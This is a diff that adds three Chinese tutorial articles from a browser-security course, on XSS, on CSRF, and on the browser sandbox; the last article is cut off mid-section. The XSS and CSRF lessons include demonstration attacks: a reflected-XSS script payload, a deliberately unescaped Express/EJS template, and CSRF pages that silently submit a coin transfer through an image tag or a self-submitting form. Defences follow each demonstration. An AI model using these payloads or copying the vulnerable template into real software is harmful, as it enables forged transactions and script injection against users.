@@ -0,0 +1,200 @@
<audio id="audio" title="33 | 跨站脚本攻击XSS为什么Cookie中有HttpOnly属性" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/76/dd/768ed190f44b7150a794403e11761bdd.mp3"></audio>
通过[上篇文章](https://time.geekbang.org/column/article/151370)的介绍我们知道了同源策略可以隔离各个站点之间的DOM交互、页面数据和网络通信虽然严格的同源策略会带来更多的安全但是也束缚了Web。这就需要在安全和自由之间找到一个平衡点所以我们默认页面中可以引用任意第三方资源然后又引入CSP策略来加以限制默认XMLHttpRequest和Fetch不能跨站请求资源然后又通过CORS策略来支持其跨域。
不过支持页面中的第三方资源引用和CORS也带来了很多安全问题其中最典型的就是XSS攻击。
## 什么是XSS攻击
XSS全称是Cross Site Scripting为了与“CSS”区分开来故简称XSS翻译过来就是“跨站脚本”。XSS攻击是指黑客往HTML文件中或者DOM中注入恶意脚本从而在用户浏览页面时利用注入的恶意脚本对用户实施攻击的一种手段。
最开始的时候这种攻击是通过跨域来实现的所以叫“跨域脚本”。但是发展到现在往HTML文件中注入恶意代码的方式越来越多了所以是否跨域注入脚本已经不是唯一的注入手段了但是XSS这个名字却一直保留至今。
当页面被注入了恶意JavaScript脚本时浏览器无法区分这些脚本是被恶意注入的还是正常的页面内容所以恶意注入JavaScript脚本也拥有所有的脚本权限。下面我们就来看看如果页面被注入了恶意JavaScript脚本恶意脚本都能做哪些事情。
- 可以**窃取Cookie信息**。恶意JavaScript可以通过“document.cookie”获取Cookie信息然后通过XMLHttpRequest或者Fetch加上CORS功能将数据发送给恶意服务器恶意服务器拿到用户的Cookie信息之后就可以在其他电脑上模拟用户的登录然后进行转账等操作。
- 可以**监听用户行为**。恶意JavaScript可以使用“addEventListener”接口来监听键盘事件比如可以获取用户输入的信用卡等信息将其发送到恶意服务器。黑客掌握了这些信息之后又可以做很多违法的事情。
- 可以通过**修改DOM**伪造假的登录窗口,用来欺骗用户输入用户名和密码等信息。
- 还可以**在页面内生成浮窗广告**,这些广告会严重地影响用户体验。
除了以上几种情况外,恶意脚本还能做很多其他的事情,这里就不一一介绍了。总之,如果让页面插入了恶意脚本,那么就相当于把我们页面的隐私数据和行为完全暴露给黑客了。
## 恶意脚本是怎么注入的
现在我们知道了页面中被注入恶意的JavaScript脚本是一件非常危险的事情所以网站开发者会尽可能地避免页面中被注入恶意脚本。要想避免站点被注入恶意脚本就要知道有哪些常见的注入方式。通常情况下主要有**存储型XSS攻击、反射型XSS攻击**和**基于DOM的XSS攻击**三种方式来注入恶意脚本。
### 1. 存储型XSS攻击
我们先来看看存储型XSS攻击是怎么向HTML文件中注入恶意脚本的你可以参考下图
<img src="https://static001.geekbang.org/resource/image/2e/14/2ed3d8b93035df3c2bcfcc223dc47914.png" alt="">
通过上图我们可以看出存储型XSS攻击大致需要经过如下步骤
- 首先黑客利用站点漏洞将一段恶意JavaScript代码提交到网站的数据库中
- 然后用户向网站请求包含了恶意JavaScript脚本的页面
- 当用户浏览该页面的时候恶意脚本就会将用户的Cookie信息等数据上传到服务器。
下面我们来看个例子2015年喜马拉雅就被曝出了存储型XSS漏洞。起因是在用户设置专辑名称时服务器对关键字过滤不严格比如可以将专辑名称设置为一段JavaScript如下图所示
<img src="https://static001.geekbang.org/resource/image/54/49/5479e94a06d9a7cdf3920c60bf834249.png" alt="">
当黑客将专辑名称设置为一段JavaScript代码并提交时喜马拉雅的服务器会保存该段JavaScript代码到数据库中。然后当用户打开黑客设置的专辑时这段代码就会在用户的页面里执行如下图这样就可以获取用户的Cookie等数据信息。
<img src="https://static001.geekbang.org/resource/image/ef/3a/efaf4123438f37da4c7366b87ed1403a.png" alt="">
当用户打开黑客设置的专辑页面时服务器也会将这段恶意JavaScript代码返回给用户因此这段恶意脚本就在用户的页面中执行了。
恶意脚本可以通过XMLHttpRequest或者Fetch将用户的Cookie数据上传到黑客的服务器如下图所示
<img src="https://static001.geekbang.org/resource/image/b1/cb/b19300e39a753774f4a94635b46af7cb.png" alt="">
黑客拿到了用户Cookie信息之后就可以利用Cookie信息在其他机器上登录该用户的账号如下图并利用用户账号进行一些恶意操作。
<img src="https://static001.geekbang.org/resource/image/72/52/720c6daf21a8adf55329af9eaa5ab052.png" alt="">
以上就是存储型XSS攻击的一个典型案例这是乌云网在2015年曝出来的虽然乌云网由于某些原因被关停了但是你依然可以通过[这个站点](https://shuimugan.com/bug/view?bug_no=138479)来查看乌云网的一些备份信息。
### 2. 反射型XSS攻击
在一个反射型XSS攻击过程中恶意JavaScript脚本属于用户发送给网站请求中的一部分随后网站又把恶意JavaScript脚本返回给用户。当恶意JavaScript脚本在用户页面中被执行时黑客就可以利用该脚本做一些恶意操作。
这样讲有点抽象下面我们结合一个简单的Node服务程序来看看什么是反射型XSS。首先我们使用Node来搭建一个简单的页面环境搭建好的服务代码如下所示
```
var express = require('express');
var router = express.Router();
/* GET home page. */
router.get('/', function(req, res, next) {
res.render('index', { title: 'Express',xss:req.query.xss });
});
module.exports = router;
```
```
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;&lt;%= title %&gt;&lt;/title&gt;
&lt;link rel='stylesheet' href='/stylesheets/style.css' /&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h1&gt;&lt;%= title %&gt;&lt;/h1&gt;
&lt;p&gt;Welcome to &lt;%= title %&gt;&lt;/p&gt;
&lt;div&gt;
&lt;%- xss %&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
```
上面这两段代码第一段是路由第二段是视图作用是将URL中xss参数的内容显示在页面。我们可以在本地演示下比如打开`http://localhost:3000/?xss=123`这个链接这样在页面中展示就是“123”了如下图是正常的没有问题的。
<img src="https://static001.geekbang.org/resource/image/7e/db/7ecb717abadfff2637a168d39f0c3cdb.png" alt="">
但当打开`http://localhost:3000/?xss=&lt;script&gt;alert('你被xss攻击了')&lt;/script&gt;`这段URL时其结果如下图所示
<img src="https://static001.geekbang.org/resource/image/4d/fa/4dff7d83fe2eecc6cb52c126b4f650fa.png" alt="">
通过这个操作我们会发现用户将一段含有恶意代码的请求提交给Web服务器Web服务器接收到请求时又将恶意代码反射给了浏览器端这就是反射型XSS攻击。在现实生活中黑客经常会通过QQ群或者邮件等渠道诱导用户去点击这些恶意链接所以对于一些链接我们一定要慎之又慎。
另外需要注意的是,**Web服务器不会存储反射型XSS攻击的恶意脚本这是和存储型XSS攻击不同的地方**。
### 3. 基于DOM的XSS攻击
基于DOM的XSS攻击是不牵涉到页面Web服务器的。具体来讲黑客通过各种手段将恶意脚本注入用户的页面中比如通过网络劫持在页面传输过程中修改HTML页面的内容这种劫持类型很多有通过WiFi路由器劫持的有通过本地恶意软件来劫持的它们的共同点是在Web资源传输过程或者在用户使用页面的过程中修改Web页面的数据。
## 如何阻止XSS攻击
我们知道存储型XSS攻击和反射型XSS攻击都是需要经过Web服务器来处理的因此可以认为这两种类型的漏洞是服务端的安全漏洞。而基于DOM的XSS攻击全部都是在浏览器端完成的因此基于DOM的XSS攻击是属于前端的安全漏洞。
但无论是何种类型的XSS攻击它们都有一个共同点那就是首先往浏览器中注入恶意脚本然后再通过恶意脚本将用户信息发送至黑客部署的恶意服务器上。
所以要阻止XSS攻击我们可以通过阻止恶意JavaScript脚本的注入和恶意消息的发送来实现。
接下来我们就来看看一些常用的阻止XSS攻击的策略。
### 1. 服务器对输入脚本进行过滤或转码
不管是反射型还是存储型XSS攻击我们都可以在服务器端将一些关键的字符进行转码比如最典型的
```
code:&lt;script&gt;alert('你被xss攻击了')&lt;/script&gt;
```
这段代码过滤后,只留下了:
```
code:
```
这样,当用户再次请求该页面时,由于`&lt;script&gt;`标签的内容都被过滤了,所以这段脚本在客户端是不可能被执行的。
除了过滤之外,服务器还可以对这些内容进行转码,还是上面那段代码,经过转码之后,效果如下所示:
```
code:&amp;lt;script&amp;gt;alert(&amp;#39;你被xss攻击了&amp;#39;)&amp;lt;/script&amp;gt;
```
经过转码之后的内容,如`&lt;script&gt;`标签被转换为`&amp;lt;script&amp;gt;`,因此即使这段脚本返回给页面,页面也不会执行这段脚本。
### 2. 充分利用CSP
虽然在服务器端执行过滤或者转码可以阻止 XSS 攻击的发生但完全依靠服务器端依然是不够的我们还需要把CSP等策略充分地利用起来以降低 XSS攻击带来的风险和后果。
实施严格的CSP可以有效地防范XSS攻击具体来讲CSP有如下几个功能
- 限制加载其他域下的资源文件这样即使黑客插入了一个JavaScript文件这个JavaScript文件也是无法被加载的
- 禁止向第三方域提交数据,这样用户数据也不会外泄;
- 禁止执行内联脚本和未授权的脚本;
- 还提供了上报机制这样可以帮助我们尽快发现有哪些XSS攻击以便尽快修复问题。
因此利用好CSP能够有效降低XSS攻击的概率。
### 3. 使用HttpOnly属性
由于很多XSS攻击都是来盗用Cookie的因此还可以通过使用HttpOnly属性来保护我们Cookie的安全。
通常服务器可以将某些Cookie设置为HttpOnly标志HttpOnly是服务器通过HTTP响应头来设置的下面是打开Google时HTTP响应头中的一段
```
set-cookie: NID=189=M8q2FtWbsR8RlcldPVt7qkrqR38LmFY9jUxkKo3-4Bi6Qu_ocNOat7nkYZUTzolHjFnwBw0izgsATSI7TZyiiiaV94qGh-BzEYsNVa7TZmjAYTxYTOM9L_-0CN9ipL6cXi8l6-z41asXtm2uEwcOC5oh9djkffOMhWqQrlnCtOI; expires=Sat, 18-Apr-2020 06:52:22 GMT; path=/; domain=.google.com; HttpOnly
```
我们可以看到set-cookie属性值最后使用了HttpOnly来标记该Cookie。顾名思义使用HttpOnly标记的Cookie只能使用在HTTP请求过程中所以无法通过JavaScript来读取这段Cookie。我们还可以通过Chrome开发者工具来查看哪些Cookie被标记了HttpOnly如下图
<img src="https://static001.geekbang.org/resource/image/de/bb/defa78c90a4e8f0debb09564561ab9bb.png" alt="">
从图中可以看出NID这个Cookie的HttpOlny属性是被勾选上的所以NID的内容是无法通过document.cookie是来读取的。
由于JavaScript无法读取设置了HttpOnly的Cookie数据所以即使页面被注入了恶意JavaScript脚本也是无法获取到设置了HttpOnly的数据。因此一些比较重要的数据我们建议设置HttpOnly标志。
## 总结
好了,今天我们就介绍到这里,下面我来总结下本文的主要内容。
XSS攻击就是黑客往页面中注入恶意脚本然后将页面的一些重要数据上传到恶意服务器。常见的三种XSS攻击模式是存储型XSS攻击、反射型XSS攻击和基于DOM的XSS攻击。
这三种攻击方式的共同点是都需要往用户的页面中注入恶意脚本,然后再通过恶意脚本将用户数据上传到黑客的恶意服务器上。而三者的不同点在于注入的方式不一样,有通过服务器漏洞来进行注入的,还有在客户端直接注入的。
针对这些XSS攻击主要有三种防范策略第一种是通过服务器对输入的内容进行过滤或者转码第二种是充分利用好CSP第三种是使用HttpOnly来保护重要的Cookie信息。
当然除了以上策略之外我们还可以通过添加验证码防止脚本冒充用户提交危险操作。而对于一些不受信任的输入还可以限制其输入长度这样可以增大XSS攻击的难度。
## 思考时间
今天留给你的思考题是你认为前端开发者对XSS攻击应该负多大责任
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,206 @@
<audio id="audio" title="34 | CSRF攻击陌生链接不要随便点" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/d5/9c/d53fa87c549c104acbb7c36bc90c149c.mp3"></audio>
在[上一篇文章](https://time.geekbang.org/column/article/152807)中我们讲到了XSS攻击XSS 的攻击方式是黑客往用户的页面中注入恶意脚本然后再通过恶意脚本将用户页面的数据上传到黑客的服务器上最后黑客再利用这些数据进行一些恶意操作。XSS攻击能够带来很大的破坏性不过另外一种类型的攻击也不容忽视它就是我们今天要聊的CSRF攻击。
相信你经常能听到的一句话:“别点那个链接,小心有病毒!”点击一个链接怎么就能染上病毒了呢?
我们结合一个真实的关于CSRF攻击的典型案例来分析下在2007年的某一天David 无意间打开了Gmail邮箱中的一份邮件并点击了该邮件中的一个链接。过了几天David就发现他的域名被盗了。不过几经周折David还是要回了他的域名也弄清楚了他的域名之所以被盗就是因为无意间点击的那个链接。
**那David的域名是怎么被盗的呢**
我们结合下图来分析下David域名的被盗流程
<img src="https://static001.geekbang.org/resource/image/3d/6b/3d7f097b1d6a8f93a960a12892f1556b.png" alt="">
- 首先David发起登录Gmail邮箱请求然后Gmail服务器返回一些登录状态给David的浏览器这些信息包括了Cookie、Session等这样在David的浏览器中Gmail邮箱就处于登录状态了。
- 接着黑客通过各种手段引诱David去打开他的链接比如hacker.com然后在hacker.com页面中黑客编写好了一个邮件过滤器并通过Gmail提供的HTTP设置接口设置好了新的邮件过滤功能该过滤器会将David所有的邮件都转发到黑客的邮箱中。
- 最后的事情就很简单了因为有了David的邮件内容所以黑客就可以去域名服务商那边重置David域名账户的密码重置好密码之后就可以将其转出到黑客的账户了。
以上就是David的域名被盗的完整过程其中前两步就是我们今天要聊的CSRF攻击。David在要回了他的域名之后也将整个攻击过程分享到他的站点上了如果你感兴趣的话可以参考[该链接](https://www.davidairey.com/google-gmail-security-hijack)(放心这个链接是安全的)。
## 什么是CSRF攻击
CSRF英文全称是Cross-site request forgery所以又称为“跨站请求伪造”是指黑客引诱用户打开黑客的网站在黑客的网站中利用用户的登录状态发起的跨站请求。简单来讲**CSRF攻击就是黑客利用了用户的登录状态并通过第三方的站点来做一些坏事**。
通常当用户打开了黑客的页面后黑客有三种方式去实施CSRF攻击。
下面我们以极客时间官网为例子来分析这三种攻击方式都是怎么实施的。这里假设极客时间具有转账功能可以通过POST或Get来实现转账转账接口如下所示
```
#同时支持POST和Get
#接口
https://time.geekbang.org/sendcoin
#参数
##目标用户
user
##目标金额
number
```
有了上面的转账接口我们就可以来模拟CSRF攻击了。
### 1. 自动发起Get请求
黑客最容易实施的攻击方式是自动发起Get请求具体攻击方式你可以参考下面这段代码
```
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;body&gt;
&lt;h1&gt;黑客的站点CSRF攻击演示&lt;/h1&gt;
&lt;img src=&quot;https://time.geekbang.org/sendcoin?user=hacker&amp;number=100&quot;&gt;
&lt;/body&gt;
&lt;/html&gt;
```
这是黑客页面的HTML代码在这段代码中黑客将转账的请求接口隐藏在img标签内欺骗浏览器这是一张图片资源。当该页面被加载时浏览器会自动发起img的资源请求如果服务器没有对该请求做判断的话那么服务器就会认为该请求是一个转账请求于是用户账户上的100极客币就被转移到黑客的账户上去了。
### 2. 自动发起POST请求
除了自动发送Get请求之外有些服务器的接口是使用POST方法的所以黑客还需要在他的站点上伪造POST请求当用户打开黑客的站点时是自动提交POST请求具体的方式你可以参考下面示例代码
```
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;body&gt;
&lt;h1&gt;黑客的站点CSRF攻击演示&lt;/h1&gt;
&lt;form id='hacker-form' action=&quot;https://time.geekbang.org/sendcoin&quot; method=POST&gt;
&lt;input type=&quot;hidden&quot; name=&quot;user&quot; value=&quot;hacker&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;number&quot; value=&quot;100&quot; /&gt;
&lt;/form&gt;
&lt;script&gt; document.getElementById('hacker-form').submit(); &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
```
在这段代码中我们可以看到黑客在他的页面中构建了一个隐藏的表单该表单的内容就是极客时间的转账接口。当用户打开该站点之后这个表单会被自动执行提交当表单被提交之后服务器就会执行转账操作。因此使用构建自动提交表单这种方式就可以自动实现跨站点POST数据提交。
### 3. 引诱用户点击链接
除了自动发起Get和Post请求之外还有一种方式是诱惑用户点击黑客站点上的链接这种方式通常出现在论坛或者恶意邮件上。黑客会采用很多方式去诱惑用户点击链接示例代码如下所示
```
&lt;div&gt;
&lt;img width=150 src=http://images.xuejuzi.cn/1612/1_161230185104_1.jpg&gt; &lt;/img&gt; &lt;/div&gt; &lt;div&gt;
&lt;a href=&quot;https://time.geekbang.org/sendcoin?user=hacker&amp;number=100&quot; taget=&quot;_blank&quot;&gt;
点击下载美女照片
&lt;/a&gt;
&lt;/div&gt;
```
这段黑客站点代码,页面上放了一张美女图片,下面放了图片下载地址,而这个下载地址实际上是黑客用来转账的接口,一旦用户点击了这个链接,那么他的极客币就被转到黑客账户上了。
以上三种就是黑客经常采用的攻击方式。如果当用户登录了极客时间以上三种CSRF攻击方式中的任何一种发生时那么服务器都会将一定金额的极客币发送到黑客账户。
到这里相信你已经知道什么是CSRF攻击了。**和XSS不同的是CSRF攻击不需要将恶意代码注入用户的页面仅仅是利用服务器的漏洞和用户的登录状态来实施攻击**。
## 如何防止CSRF攻击
了解了CSRF攻击的一些手段之后我们再来看看CSRF攻击的一些“特征”然后根据这些“特征”分析下如何防止CSRF攻击。下面是我总结的发起CSRF攻击的三个必要条件
- 第一个目标站点一定要有CSRF漏洞
- 第二个,用户要登录过目标站点,并且在浏览器上保持有该站点的登录状态;
- 第三个,需要用户打开一个第三方站点,可以是黑客的站点,也可以是一些论坛。
满足以上三个条件之后黑客就可以对用户进行CSRF攻击了。这里还需要额外注意一点与XSS攻击不同CSRF攻击不会往页面注入恶意脚本因此黑客是无法通过CSRF攻击来获取用户页面数据的其最关键的一点是要能找到服务器的漏洞所以说对于CSRF攻击我们主要的防护手段是提升服务器的安全性。
要让服务器避免遭受到CSRF攻击通常有以下几种途径。
### 1. 充分利用好Cookie 的 SameSite 属性
通过上面的介绍相信你已经知道了黑客会利用用户的登录状态来发起CSRF攻击而**Cookie正是浏览器和服务器之间维护登录状态的一个关键数据**因此要阻止CSRF攻击我们首先就要考虑在Cookie上来做文章。
通常CSRF攻击都是从第三方站点发起的要防止CSRF攻击我们最好能实现从第三方站点发送请求时禁止Cookie的发送因此在浏览器通过不同来源发送HTTP请求时有如下区别
- 如果是从第三方站点发起的请求那么需要浏览器禁止发送某些关键Cookie数据到服务器
- 如果是同一个站点发起的请求那么就需要保证Cookie数据正常发送。
而我们要聊的Cookie 中的SameSite属性正是为了解决这个问题的通过使用SameSite可以有效地降低CSRF攻击的风险。
那SameSite是怎么防止CSRF攻击的呢
在HTTP响应头中通过set-cookie字段设置Cookie时可以带上SameSite选项如下
```
set-cookie: 1P_JAR=2019-10-20-06; expires=Tue, 19-Nov-2019 06:36:21 GMT; path=/; domain=.google.com; SameSite=none
```
**SameSite选项通常有Strict、Lax和None三个值。**
- Strict最为严格。如果SameSite的值是Strict那么浏览器会完全禁止第三方 Cookie。简言之如果你从极客时间的页面中访问InfoQ的资源而InfoQ的某些Cookie设置了SameSite = Strict的话那么这些Cookie是不会被发送到InfoQ的服务器上的。只有你从InfoQ的站点去请求InfoQ的资源时才会带上这些Cookie。
- Lax相对宽松一点。在跨站点的情况下从第三方站点的链接打开和从第三方站点提交Get方式的表单这两种方式都会携带Cookie。但如果在第三方站点中使用Post方法或者通过img、iframe等标签加载的URL这些场景都不会携带Cookie。
- 而如果使用None的话在任何情况下都会发送Cookie数据。
关于SameSite的具体使用方式你可以参考这个链接[https://web.dev/samesite-cookies-explained](https://web.dev/samesite-cookies-explained) 。
对于防范CSRF攻击我们可以针对实际情况将一些关键的Cookie设置为Strict或者Lax模式这样在跨站点请求时这些关键的Cookie就不会被发送到服务器从而使得黑客的CSRF攻击失效。
### 2. 验证请求的来源站点
接着我们再来了解另外一种防止CSRF攻击的策略那就是**在服务器端验证请求来源的站点**。由于CSRF攻击大多来自于第三方站点因此服务器可以禁止来自第三方站点的请求。那么该怎么判断请求是否来自第三方站点呢
这就需要介绍HTTP请求头中的 Referer和Origin 属性了。
**Referer是HTTP请求头中的一个字段记录了该HTTP请求的来源地址**。比如我从极客时间的官网打开了InfoQ的站点那么请求头中的Referer值是极客时间的URL如下图
<img src="https://static001.geekbang.org/resource/image/15/c9/159430e9d15cb7bcfa4fd014da31a2c9.png" alt="">
虽然可以通过Referer告诉服务器HTTP请求的来源但是有一些场景是不适合将来源URL暴露给服务器的因此浏览器提供给开发者一个选项可以不用上传Referer值具体可参考**Referrer Policy**。
但在服务器端验证请求头中的Referer并不是太可靠因此标准委员会又制定了**Origin属性**在一些重要的场合比如通过XMLHttpRequest、Fecth发起跨站请求或者通过Post方法发送请求时都会带上Origin属性如下图
<img src="https://static001.geekbang.org/resource/image/25/03/258dc5542db8961aaa23ec0c02030003.png" alt="">
从上图可以看出Origin属性只包含了域名信息并没有包含具体的URL路径这是Origin和Referer的一个主要区别。在这里需要补充一点Origin的值之所以不包含详细路径信息是有些站点因为安全考虑不想把源站点的详细路径暴露给服务器。
因此服务器的策略是优先判断Origin如果请求头中没有包含Origin属性再根据实际情况判断是否使用Referer值。
### 3. CSRF Token
除了使用以上两种方式来防止CSRF攻击之外还可以采用CSRF Token来验证这个流程比较好理解大致分为两步。
第一步在浏览器向服务器发起请求时服务器生成一个CSRF Token。CSRF Token其实就是服务器生成的字符串然后将该字符串植入到返回的页面中。你可以参考下面示例代码
```
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;body&gt;
&lt;form action=&quot;https://time.geekbang.org/sendcoin&quot; method=&quot;POST&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;csrf-token&quot; value=&quot;nc98P987bcpncYhoadjoiydc9ajDlcn&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;user&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;number&quot;&gt;
&lt;input type=&quot;submit&quot;&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
```
第二步在浏览器端如果要发起转账的请求那么需要带上页面中的CSRF Token然后服务器会验证该Token是否合法。如果是从第三方站点发出的请求那么将无法获取到CSRF Token的值所以即使发出了请求服务器也会因为CSRF Token不正确而拒绝请求。
## 总结
好了,今天我们就介绍到这里,下面我来总结下本文的主要内容。
我们结合一个实际案例介绍了CSRF攻击要发起CSRF攻击需要具备三个条件目标站点存在漏洞、用户要登录过目标站点和黑客需要通过第三方站点发起攻击。
根据这三个必要条件我们又介绍了该如何防止CSRF攻击具体来讲主要有三种方式充分利用好Cookie的SameSite属性、验证请求的来源站点和使用CSRF Token。这三种方式需要合理搭配使用这样才可以有效地防止CSRF攻击。
再结合前面两篇文章我们可以得出页面安全问题的主要原因就是浏览器为同源策略开的两个“后门”一个是在页面中可以任意引用第三方资源另外一个是通过CORS策略让XMLHttpRequest和Fetch去跨域请求资源。
为了解决这些问题我们引入了CSP来限制页面任意引入外部资源引入了HttpOnly机制来禁止XMLHttpRequest或者Fetch发送一些关键Cookie引入了SameSite和Origin来防止CSRF攻击。
通过这三篇文章的分析,相信你应该已经能搭建**Web页面安全**的知识体系网络了。有了这张网络你就可以将HTTP请求头和响应头中各种安全相关的字段关联起来比如Cookie中的一些字段还有X-Frame-Options、X-Content-Type-Options、X-XSS-Protection等字段也可以将CSP、CORS这些知识点关联起来。当然这些并不是浏览器安全的全部后面两篇文章我们还会介绍**浏览器系统安全**和**浏览器网络安全**两大块的内容,这对于你学习浏览器安全来说也是至关重要的。
## 思考题
今天留给你的思考题什么是CSRF攻击在开发项目过程中应该如何防御CSRF攻击
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,155 @@
<audio id="audio" title="35 | 安全沙箱:页面和系统之间的隔离墙" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/68/7d/680fb046caf450ad1e1ba49c74ece17d.mp3"></audio>
前面三篇文章我们主要围绕同源策略介绍了Web页面安全的相关内容那今天我们把视野向外延伸来聊聊页面安全和操作系统安全之间的关系。
在[《01 | Chrome架构仅仅打开了1个页面为什么有4个进程](https://time.geekbang.org/column/article/113513)那篇文章中我们分析了浏览器架构的发展史在最开始的阶段浏览器是单进程的这意味着渲染过程、JavaScript执行过程、网络加载过程、UI绘制过程和页面显示过程等都是在同一个进程中执行的这种结构虽然简单但是也带来了很多问题。
**从稳定性视角来看,单进程架构的浏览器是不稳定的**,因为只要浏览器进程中的任意一个功能出现异常都有可能影响到整个浏览器,如页面卡死、浏览器崩溃等。不过浏览器的稳定性并不是本文讨论的重点,我们今天主要聊的是**浏览器架构是如何影响到操作系统安全的**。
浏览器本身的漏洞是单进程浏览器的一个主要问题,如果浏览器被曝出存在漏洞,那么在这些漏洞没有被及时修复的情况下,黑客就有可能通过恶意的页面向浏览器中注入恶意程序,其中最常见的攻击方式是利用**缓冲区溢出**,不过需要**注意这种类型的攻击和XSS注入的脚本是不一样的**。
- XSS攻击只是将恶意的JavaScript脚本注入到页面中虽然能窃取一些Cookie相关的数据但是XSS无法对操作系统进行攻击。
- 而通过浏览器漏洞进行的攻击是可以入侵到浏览器进程内部的,可以读取和修改浏览器进程内部的任意内容,还可以穿透浏览器,在用户的操作系统上悄悄地安装恶意软件、监听用户键盘输入信息以及读取用户硬盘上的文件内容。
和XSS攻击页面相比这类攻击无疑是枚“核弹”它会将整个操作系统的内容都暴露给黑客这样我们操作系统上所有的资料都是不安全的了。
## 安全视角下的多进程架构
现代浏览器的设计目标是**安全、快速**和**稳定**,而这种核弹级杀伤力的安全问题就是一个很大的潜在威胁,因此在设计现代浏览器的体系架构时,需要解决这个问题。
我们知道现代浏览器采用了多进程架构,将渲染进程和浏览器主进程做了分离,完整的进程架构我们已经在[《01 | Chrome架构仅仅打开了1个页面为什么有4个进程](https://time.geekbang.org/column/article/113513)那篇文章中介绍过了,这里我就不重复介绍了。下面我们重点从操作系统安全的视角来看看浏览器的多进程架构,如下图:
<img src="https://static001.geekbang.org/resource/image/b8/b1/b83693a1ace43f43f9cab242982de6b1.png" alt="">
观察上图,我们知道浏览器被划分为**浏览器内核**和**渲染内核**两个核心模块其中浏览器内核是由网络进程、浏览器主进程和GPU进程组成的渲染内核就是渲染进程。那如果我们在浏览器中打开一个页面这两个模块是怎么配合的呢
所有的网络资源都是通过浏览器内核来下载的下载后的资源会通过IPC将其提交给渲染进程浏览器内核和渲染进程之间都是通过IPC来通信的。然后渲染进程会对这些资源进行解析、绘制等操作最终生成一幅图片。但是渲染进程并不负责将图片显示到界面上而是将最终生成的图片提交给浏览器内核模块由浏览器内核模块负责显示这张图片。
在[《01 | Chrome架构仅仅打开了1个页面为什么有4个进程](https://time.geekbang.org/column/article/113513)中我们分析过,设计现代浏览器体系架构时,将浏览器划分为不同的进程是为了增加其稳定性。虽然设计成了多进程架构,不过这些模块之间的沟通方式却有些复杂,也许你还有以下问题:
- 为什么一定要通过浏览器内核去请求资源,再将数据转发给渲染进程,而不直接从进程内部去请求网络资源?
- 为什么渲染进程只负责生成页面图片生成图片还要经过IPC通知浏览器内核模块然后让浏览器内核去负责展示图片
通过以上方式不是增加了工程的复杂度吗?
要解释现代浏览器为什么要把这个流程弄得这么复杂,我们就得从系统安全的角度来分析。
## 安全沙箱
不过在解释这些问题之前,我们得先看看什么是安全沙箱。
上面我们分析过了由于渲染进程需要执行DOM解析、CSS解析、网络图片解码等操作如果渲染进程中存在系统级别的漏洞那么以上操作就有可能让恶意的站点获取到渲染进程的控制权限进而又获取操作系统的控制权限这对于用户来说是非常危险的。
因为网络资源的内容存在着各种可能性,所以浏览器会默认所有的网络资源都是不可信的,都是不安全的。但谁也不能保证浏览器不存在漏洞,只要出现漏洞,黑客就可以通过网络内容对用户发起攻击。
我们知道如果你下载了一个恶意程序但是没有执行它那么恶意程序是不会生效的。同理浏览器之于网络内容也是如此浏览器可以安全地下载各种网络资源但是如果要执行这些网络资源比如解析HTML、解析CSS、执行JavaScript、图片编解码等操作就需要非常谨慎了因为一不小心黑客就会利用这些操作对含有漏洞的浏览器发起攻击。
基于以上原因,我们需要在渲染进程和操作系统之间建一道墙,即便渲染进程由于存在漏洞被黑客攻击,但由于这道墙,黑客就获取不到渲染进程之外的任何操作权限。**将渲染进程和操作系统隔离的这道墙就是我们要聊的安全沙箱**。
浏览器中的安全沙箱是利用操作系统提供的安全技术让渲染进程在执行过程中无法访问或者修改操作系统中的数据在渲染进程需要访问系统资源的时候需要通过浏览器内核来实现然后将访问的结果通过IPC转发给渲染进程。
安全沙箱最小的保护单位是进程。因为单进程浏览器需要频繁访问或者修改操作系统的数据,所以单进程浏览器是无法被安全沙箱保护的,而现代浏览器采用的多进程架构使得安全沙箱可以发挥作用。
## 安全沙箱如何影响各个模块功能
我们知道安全沙箱最小的保护单位是进程并且能限制进程对操作系统资源的访问和修改这就意味着如果要让安全沙箱应用在某个进程上那么这个进程必须没有读写操作系统的功能比如读写本地文件、发起网络请求、调用GPU接口等。
了解了被安全沙箱保护的进程会有一系列的受限操作之后,接下来我们就可以分析渲染进程和浏览器内核各自都有哪些职责,如下图:
<img src="https://static001.geekbang.org/resource/image/f8/1b/f8cc6394832ed238f18a01eff5726f1b.png" alt="">
通过该图,我们可以看到由于渲染进程需要安全沙箱的保护,因此需要把在渲染进程内部涉及到和系统交互的功能都转移到浏览器内核中去实现。
那安全沙箱是如何影响到各个模块功能的呢?
### 1. 持久存储
我们先来看看安全沙箱是如何影响到浏览器持久存储的。由于安全沙箱需要负责确保渲染进程无法直接访问用户的文件系统但是在渲染进程内部有访问Cookie的需求、有上传文件的需求为了解决这些文件的访问需求所以现代浏览器将读写文件的操作全部放在了浏览器内核中实现然后通过IPC将操作结果转发给渲染进程。
具体地讲,如下文件内容的读写都是在浏览器内核中完成的:
- 存储Cookie数据的读写。通常浏览器内核会维护一个存放所有Cookie的Cookie数据库然后当渲染进程通过JavaScript来读取Cookie时渲染进程会通过IPC将读取Cookie的信息发送给浏览器内核浏览器内核读取Cookie之后再将内容返回给渲染进程。
- 一些缓存文件的读写也是由浏览器内核实现的,比如网络文件缓存的读取。
### 2. 网络访问
